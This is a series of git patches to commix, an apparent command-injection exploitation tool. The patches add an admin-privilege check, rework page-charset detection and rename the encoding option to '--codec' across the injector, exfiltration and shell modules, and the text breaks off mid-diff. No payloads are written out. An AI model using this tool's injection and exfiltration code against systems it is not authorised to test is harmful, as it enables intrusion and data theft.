From 3da1879bd7271249ad9684ec9582c523d882a0c2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 9 Oct 2021 10:42:46 +0300 Subject: [PATCH 0001/1023] Fixes https://github.com/commixproject/commix/issues/693 --- .../dns_exfiltration/dns_exfiltration.py | 7 +++--- .../icmp_exfiltration/icmp_exfiltration.py | 7 +++--- src/utils/common.py | 24 +++++++++++++++++++ src/utils/install.py | 10 ++++---- src/utils/settings.py | 6 ++++- 5 files changed, 42 insertions(+), 12 deletions(-) diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 94c760a0ab..c8146a7405 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -22,6 +22,7 @@ import threading from src.utils import menu from src.utils import logs +from src.utils import common from src.utils import settings from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import tor @@ -178,9 +179,9 @@ def dns_exfiltration_handler(url, http_request_method): # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False - # You need to have root privileges to run this script - if os.geteuid() != 0: - err_msg = "You need to have root privileges to run this option." + # You need to have administrative privileges to run this module. + if not common.running_as_admin(): + err_msg = "You need to have administrative privileges to run this module." print("\n" + settings.print_critical_msg(err_msg)) os._exit(0) diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 3d4ecb63de..699da88de5 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -24,6 +24,7 @@ import threading from src.utils import menu from src.utils import logs +from src.utils import common from src.utils import settings from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import tor @@ -205,9 +206,9 @@ def icmp_exfiltration_handler(url, http_request_method): # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False - # You need to have root privileges to run this script - if os.geteuid() != 0: - err_msg = "You need to have root privileges to run this option." + # You need to have administrative privileges to run this module. + if not common.running_as_admin(): + err_msg = "You need to have administrative privileges to run this module." print(settings.print_critical_msg(err_msg) + "\n") os._exit(0) diff --git a/src/utils/common.py b/src/utils/common.py index 9c7dfaa30a..ed9f1cc96f 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -23,9 +23,33 @@ import traceback from src.utils import menu from src.utils import settings +from src.thirdparty import six from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +""" +Returns True if the current process is run under admin privileges +""" +def running_as_admin(): + is_admin = False + if settings.PLATFORM in ("posix", "mac"): + _ = os.geteuid() + if isinstance(_, (float, six.integer_types)) and _ == 0: + is_admin = True + + elif settings.IS_WINDOWS: + import ctypes + _ = ctypes.windll.shell32.IsUserAnAdmin() + if isinstance(_, (float, six.integer_types)) and _ == 1: + is_admin = True + else: + err_msg = settings.APPLICATION + " is not able to check if you are running it " + err_msg += "as an administrator account on this platform. " + print(settings.print_error_msg(err_msg)) + is_admin = True + + return is_admin + """ Get total number of days from last update """ diff --git a/src/utils/install.py b/src/utils/install.py index 26e6b5c4bf..c2d4176123 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -18,6 +18,7 @@ import platform import subprocess from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import requirments from src.thirdparty.six.moves import input as _input @@ -58,12 +59,11 @@ def installer(): sys.stdout.flush() # Check if OS is Linux. - if platform.system() == "Linux": - - # You need to have root privileges to run this script - if os.geteuid() != 0: + if settings.PLATFORM == "posix": + # You need to have administrative privileges to run this script. + if not common.running_as_admin(): print(settings.SINGLE_WHITESPACE) - err_msg = "You need to have root privileges to run this option!" + err_msg = "You need to have administrative privileges to run this option." print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 328b38c916..75a2a754f0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -317,6 +317,10 @@ def sys_argv_errors(): # Stored applied techniques SESSION_APPLIED_TECHNIQUES = "" +# The name of the operating system dependent module imported. +PLATFORM = os.name +IS_WIN = PLATFORM == "nt" + # Check if OS is Windows. IS_WINDOWS = hasattr(sys, "getwindowsversion") From 21d9d814ea97343948cb9abcf5d0e98f7e139d6d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 11 Oct 2021 08:30:33 +0300 Subject: [PATCH 0002/1023] Minor update --- src/utils/install.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/install.py b/src/utils/install.py index c2d4176123..6c11a7c1d9 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -107,7 +107,7 @@ def installer(): err_msg = "The installer is not designed for any " err_msg += "other Linux distro than Ubuntu / Debian. " err_msg += "Please install manually: " + dependencies - print(Back.RED + err_msg + Style.RESET_ALL) + print(settings.print_critical_msg(err_msg)) print(settings.SINGLE_WHITESPACE) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 75a2a754f0..9cc1e54308 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 33bcb435c86178e4b00ff2b2f6f16d405b390a31 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 12 Oct 2021 07:51:15 +0300 Subject: [PATCH 0003/1023] Minor update --- src/utils/settings.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 9cc1e54308..ac643021b6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -319,10 +319,10 @@ def sys_argv_errors(): # The name of the operating system dependent module imported. PLATFORM = os.name -IS_WIN = PLATFORM == "nt" +IS_WINDOWS = PLATFORM == "nt" # Check if OS is Windows. -IS_WINDOWS = hasattr(sys, "getwindowsversion") +#IS_WINDOWS = hasattr(sys, "getwindowsversion") # Git URL. GIT_URL = "https://github.com/commixproject/" + APPLICATION + ".git" From f0bfddbed696ea5df4354aa1dfbbc6d99fac7ff5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 13 Oct 2021 09:31:53 +0300 Subject: [PATCH 0004/1023] Minor update regarding web pages charset identification --- src/core/requests/requests.py | 82 +++++++++++++++++------------------ src/utils/settings.py | 2 +- 2 files changed, 42 insertions(+), 42 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index bf04817748..e2422c4646 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1010,53 +1010,53 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): Target's encoding detection """ def encoding_detection(response): - if not menu.options.encoding: - charset_detected = False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the indicated web-page charset. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + charset_detected = False + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Identifying the indicated web-page charset. " + sys.stdout.write(settings.print_debug_msg(debug_msg)) + sys.stdout.flush() + try: + # Detecting charset try: - # Detecting charset - try: - # Support for python 2.7.x - charset = response.headers.getparam('charset') - except AttributeError: - # Support for python 3.x - charset = response.headers.get_content_charset() - if charset != None and len(charset) != 0 : + # Support for python 2.7.x + charset = response.headers.getparam('charset') + except AttributeError: + # Support for python 3.x + charset = response.headers.get_content_charset() + if charset != None and len(charset) != 0 : + charset_detected = True + else: + content = re.findall(r"charset=['\"](.*)['\"]", response.read())[0] + if len(content) != 0 : + charset = content charset_detected = True else: - content = re.findall(r"charset=['\"](.*)['\"]", response.read())[0] - if len(content) != 0 : - charset = content - charset_detected = True - else: - # Check if HTML5 format - charset = re.findall(r"charset=['\"](.*?)['\"]", response.read())[0] - if len(charset) != 0 : - charset_detected = True - # Check the identifyied charset - if charset_detected : + # Check if HTML5 format + charset = re.findall(r"charset=['\"](.*?)['\"]", response.read())[0] + if len(charset) != 0 : + charset_detected = True + # Check the identifyied charset + if charset_detected : + if not menu.options.encoding: settings.DEFAULT_PAGE_ENCODING = charset - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: - warn_msg = "The indicated web-page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." - print(settings.print_warning_msg(warn_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The indicated web-page charset appears to be " - debug_msg += settings.DEFAULT_PAGE_ENCODING + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) + if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: + warn_msg = "The indicated web-page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." + print(settings.print_warning_msg(warn_msg)) else: - pass - except: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The indicated web-page charset appears to be " + debug_msg += settings.DEFAULT_PAGE_ENCODING + Style.RESET_ALL + "." + print(settings.print_bold_debug_msg(debug_msg)) + else: pass - if charset_detected == False and settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify indicated web-page charset." - print(settings.print_warning_msg(warn_msg)) + except: + pass + if charset_detected == False and settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) + warn_msg = "Heuristics have failed to identify indicated web-page charset." + print(settings.print_warning_msg(warn_msg)) """ Procedure for target application identification diff --git a/src/utils/settings.py b/src/utils/settings.py index ac643021b6..4e38ec608a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 50b90894d8f1f6c7c4f6826f56bad3df48c97143 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 14 Oct 2021 08:37:19 +0300 Subject: [PATCH 0005/1023] Minor refactoring --- src/core/main.py | 1 + src/utils/settings.py | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index e4aec047f4..a40e74a3d2 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -694,6 +694,7 @@ def main(filename, url): raise SystemExit() else: settings.DEFAULT_PAGE_ENCODING = menu.options.encoding.lower() + settings.UNICODE_ENCODING = menu.options.encoding.lower() if menu.options.header and len(menu.options.header.split("\\n"))> 1: warn_msg = "Swithing '--header' to '--headers' " diff --git a/src/utils/settings.py b/src/utils/settings.py index 4e38ec608a..a708358243 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -593,7 +593,7 @@ def sys_argv_errors(): # Cookie delimiter PARAMETER_DELIMITER = "&" -UNICODE_ENCODING = "utf8" +UNICODE_ENCODING = "utf-8" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" From 42f2bc1189da16b57dc5ab45b72fbdb1a5caadb7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 15 Oct 2021 09:05:58 +0300 Subject: [PATCH 0006/1023] Fixes https://github.com/commixproject/commix/issues/649, https://github.com/commixproject/commix/issues/656 --- src/core/injections/controller/checks.py | 9 ++++----- src/core/main.py | 1 - src/core/requests/requests.py | 2 -- src/utils/settings.py | 4 ++-- 4 files changed, 6 insertions(+), 10 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ae17d32664..703cefdc47 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -168,16 +168,15 @@ def page_encoding(response, action): settings.PAGE_COMPRESSION = False try: if action == "encode" and type(page) == str: - return page.encode(settings.UNICODE_ENCODING) + return page.encode(settings.UNICODE_ENCODING, errors="ignore") else: - return page.decode(settings.UNICODE_ENCODING) + return page.decode(settings.UNICODE_ENCODING, errors="ignore") except (UnicodeEncodeError, UnicodeDecodeError) as err: err_msg = "The " + str(err).split(":")[0] + ". " _ = True - except LookupError as err: - err_msg = "The '" + settings.DEFAULT_PAGE_ENCODING + "' is " + str(err).split(":")[0] + ". " + except (LookupError, TypeError) as err: + err_msg = "The '" + settings.UNICODE_ENCODING + "' is " + str(err).split(":")[0] + ". " _ = True - except AttributeError: pass if _: err_msg += "You are advised to rerun with" diff --git a/src/core/main.py b/src/core/main.py index a40e74a3d2..5876aafac0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -693,7 +693,6 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() else: - settings.DEFAULT_PAGE_ENCODING = menu.options.encoding.lower() settings.UNICODE_ENCODING = menu.options.encoding.lower() if menu.options.header and len(menu.options.header.split("\\n"))> 1: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index e2422c4646..253ea51750 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1037,8 +1037,6 @@ def encoding_detection(response): charset_detected = True # Check the identifyied charset if charset_detected : - if not menu.options.encoding: - settings.DEFAULT_PAGE_ENCODING = charset if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: diff --git a/src/utils/settings.py b/src/utils/settings.py index a708358243..56d38bf894 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -593,7 +593,7 @@ def sys_argv_errors(): # Cookie delimiter PARAMETER_DELIMITER = "&" -UNICODE_ENCODING = "utf-8" +UNICODE_ENCODING = "utf8" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" From d8d1a6b0552deeca30b24b6d15f824104aeb32ca Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 18 Oct 2021 08:57:33 +0300 Subject: [PATCH 0007/1023] The `--encoding` option has been replaced with `--codec`. --- doc/CHANGELOG.md | 3 +++ src/core/convert.py | 6 +++--- .../blind/techniques/time_based/tb_injector.py | 4 ++-- src/core/injections/controller/checks.py | 10 +++++----- src/core/injections/controller/controller.py | 2 +- .../techniques/classic/cb_injector.py | 4 ++-- .../techniques/eval_based/eb_injector.py | 4 ++-- .../semiblind/techniques/file_based/fb_injector.py | 4 ++-- .../techniques/tempfile_based/tfb_injector.py | 4 ++-- src/core/main.py | 10 +++++----- .../modules/dns_exfiltration/dns_exfiltration.py | 2 +- .../modules/icmp_exfiltration/icmp_exfiltration.py | 2 +- src/core/requests/headers.py | 6 +++--- src/core/requests/proxy.py | 2 +- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 12 ++++++------ src/core/requests/tor.py | 2 +- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 2 +- src/core/tamper/base64encode.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/utils/common.py | 6 +++--- src/utils/crawler.py | 2 +- src/utils/logs.py | 2 +- src/utils/menu.py | 12 +++++++++--- src/utils/session_handler.py | 14 +++++++------- src/utils/settings.py | 8 ++++---- 27 files changed, 70 insertions(+), 61 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 605a451e9a..002a5b5f03 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 3.4 (TBA) +* Replaced: The `--encoding` option has been replaced with `--codec`. + ## Version 3.3 (2021-09-13) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Minor bug-fix regarding scanning multiple targets given in a textual file (i.e. via option `-m`). diff --git a/src/core/convert.py b/src/core/convert.py index a6be82373a..f3af657c5e 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -24,16 +24,16 @@ def hexdecode(value): value = codecs.decode(''.join(value.split()), "hex") except LookupError: value = binascii.unhexlify(value) - value = value.decode(settings.UNICODE_ENCODING) + value = value.decode(settings.DEFAULT_CODEC) return value def hexencode(value): if isinstance(value, six.text_type): - value = value.encode(settings.UNICODE_ENCODING) + value = value.encode(settings.DEFAULT_CODEC) try: value = codecs.encode(value, "hex") except LookupError: value = binascii.hexlify(value) - value = value.decode(settings.UNICODE_ENCODING) + value = value.decode(settings.DEFAULT_CODEC) return value diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 73a8b6e85c..589a31325d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -71,7 +71,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) @@ -122,7 +122,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 703cefdc47..cfdb17ce4c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -168,19 +168,19 @@ def page_encoding(response, action): settings.PAGE_COMPRESSION = False try: if action == "encode" and type(page) == str: - return page.encode(settings.UNICODE_ENCODING, errors="ignore") + return page.encode(settings.DEFAULT_CODEC, errors="ignore") else: - return page.decode(settings.UNICODE_ENCODING, errors="ignore") + return page.decode(settings.DEFAULT_CODEC, errors="ignore") except (UnicodeEncodeError, UnicodeDecodeError) as err: err_msg = "The " + str(err).split(":")[0] + ". " _ = True except (LookupError, TypeError) as err: - err_msg = "The '" + settings.UNICODE_ENCODING + "' is " + str(err).split(":")[0] + ". " + err_msg = "The '" + settings.DEFAULT_CODEC + "' is " + str(err).split(":")[0] + ". " _ = True pass if _: err_msg += "You are advised to rerun with" - err_msg += ('out', '')[menu.options.encoding == None] + " the option '--encoding'." + err_msg += ('out', '')[menu.options.codec == None] + " the option '--codec'." print(settings.print_critical_msg(str(err_msg))) raise SystemExit() @@ -881,7 +881,7 @@ def list_tamper_scripts(): print(settings.print_info_msg(info_msg)) if menu.options.list_tampers: for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): - content = open(script, "rb").read().decode(settings.UNICODE_ENCODING) + content = open(script, "rb").read().decode(settings.DEFAULT_CODEC) match = re.search(r"About:(.*)\n", content) if match: comment = match.group(1).strip() diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 50f760530b..88bde84ab9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -99,7 +99,7 @@ def heuristic_basic(url, http_request_method): request = _urllib.request.Request(url.replace(settings.INJECT_TAG, payload)) else: data = menu.options.data.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) if type(response) is not bool: diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 4db4c93717..8a9c5d9391 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -79,7 +79,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) @@ -230,7 +230,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 013810fbf0..1bbcd67e1e 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -74,7 +74,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) @@ -218,7 +218,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index c22a01a34e..cdb20f7c65 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -84,7 +84,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) @@ -218,7 +218,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index dcaba9fbe8..3b11178120 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -75,7 +75,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) @@ -129,7 +129,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/main.py b/src/core/main.py index 5876aafac0..8cf11964fd 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -50,7 +50,7 @@ # Set default encoding _reload_module(sys) -#sys.setdefaultencoding(settings.UNICODE_ENCODING) +#sys.setdefaultencoding(settings.DEFAULT_CODEC) if settings.IS_WINDOWS: import codecs @@ -685,15 +685,15 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() - if menu.options.encoding: - if menu.options.encoding.lower() not in settings.ENCODING_LIST: - err_msg = "The provided charset '" + menu.options.encoding + "' is unknown. " + if menu.options.codec: + if menu.options.codec.lower() not in settings.ENCODING_LIST: + err_msg = "The provided charset '" + menu.options.codec + "' is unknown. " err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " err_msg += "to get the full list of supported charsets." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: - settings.UNICODE_ENCODING = menu.options.encoding.lower() + settings.DEFAULT_CODEC = menu.options.codec.lower() if menu.options.header and len(menu.options.header.split("\\n"))> 1: warn_msg = "Swithing '--header' to '--headers' " diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index c8146a7405..248b6ccdc8 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -74,7 +74,7 @@ def cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter): request = url + data else: values = {vuln_parameter:payload} - data = _urllib.parse.urlencode(values).encode(settings.UNICODE_ENCODING) + data = _urllib.parse.urlencode(values).encode(settings.DEFAULT_CODEC) request = _urllib.request.Request(url=url, data=data) sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n") diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 699da88de5..d390152942 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -90,7 +90,7 @@ def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): req = url + data else: values = {vuln_parameter:payload} - data = _urllib.parse.urlencode(values).encode(settings.UNICODE_ENCODING) + data = _urllib.parse.urlencode(values).encode(settings.DEFAULT_CODEC) request = _urllib.request.Request(url=url, data=data) try: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 208ade5e22..ce837e8dd4 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -85,7 +85,7 @@ def print_http_response(response_headers, code, page): try: http_response_content(page) except AttributeError: - http_response_content(page.decode(settings.UNICODE_ENCODING)) + http_response_content(page.decode(settings.DEFAULT_CODEC)) """ Checking the HTTP Headers & HTTP/S Request. @@ -326,7 +326,7 @@ def do_check(request): try: settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) if menu.options.auth_type == "basic": - b64_string = encodebytes(menu.options.auth_cred.encode(settings.UNICODE_ENCODING)).decode().replace('\n', '') + b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') request.add_header("Authorization", "Basic " + b64_string + "") elif menu.options.auth_type == "digest": try: @@ -401,7 +401,7 @@ def do_check(request): settings.CUSTOM_HEADER_NAME = http_header_name # Add HTTP Header name / value to the HTTP request if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: - request.add_header(http_header_name.encode(settings.UNICODE_ENCODING), http_header_value.encode(settings.UNICODE_ENCODING)) + request.add_header(http_header_name.encode(settings.DEFAULT_CODEC), http_header_value.encode(settings.DEFAULT_CODEC)) except: pass diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index b64edbf3f5..dc6bf64891 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -29,7 +29,7 @@ def do_check(url): info_msg = "Setting the HTTP proxy for all HTTP requests. " print(settings.print_info_msg(info_msg)) if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: request = _urllib.request.Request(url) headers.do_check(request) diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index eeb82278e6..d6d7333194 100755 --- a/src/core/requests/redirection.py +++ 